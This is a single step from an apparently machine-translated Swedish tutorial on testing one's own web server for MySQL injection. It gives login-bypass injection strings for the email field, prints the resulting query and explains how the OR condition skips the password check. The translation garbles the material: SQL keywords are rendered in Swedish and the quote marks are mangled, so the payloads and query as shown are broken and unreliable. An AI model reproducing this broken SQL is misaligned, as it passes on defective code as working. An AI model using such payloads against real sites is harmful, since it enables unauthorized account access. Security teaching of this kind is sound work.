Hur du testar din egen webbserver mot mysql sårbarheter (7 / 9 steg)
Steg 7: Hacka den!
Som vi lärt oss i föregående steg, är $_POST ['email'] vår bakdörr. Så när du anger följande Mail, kan du logga in som en användare som du vill. För användare med id 1:
test OR 'id' = 1 eller 1 = "
För användare med id 2:
test OR 'id' = 2 eller 1 = "
Som ni kan se, är används mysql query följande:
VÄLJA * från 'användare' var 'email' = ' test OR 'id' = 1 eller 1 = '' och "password" = "098f6bcd4621d373cade4e832627b4f6"
Eftersom det finns ingen parentes i frågan, kan vi sluta strängen genom att bara skicka en "i mailet. Efter den "vi kan ändra frågan själv. Så vi bara lägga till en annan "Eller" villkor som avser användar-id. Detta gör e-post och lösenord föråldrad eftersom mysql stannar kontrollera skick så snart som en "Eller" villkor är sant. Så om det finns en användare med id "1" i vår databas, är vi inloggad.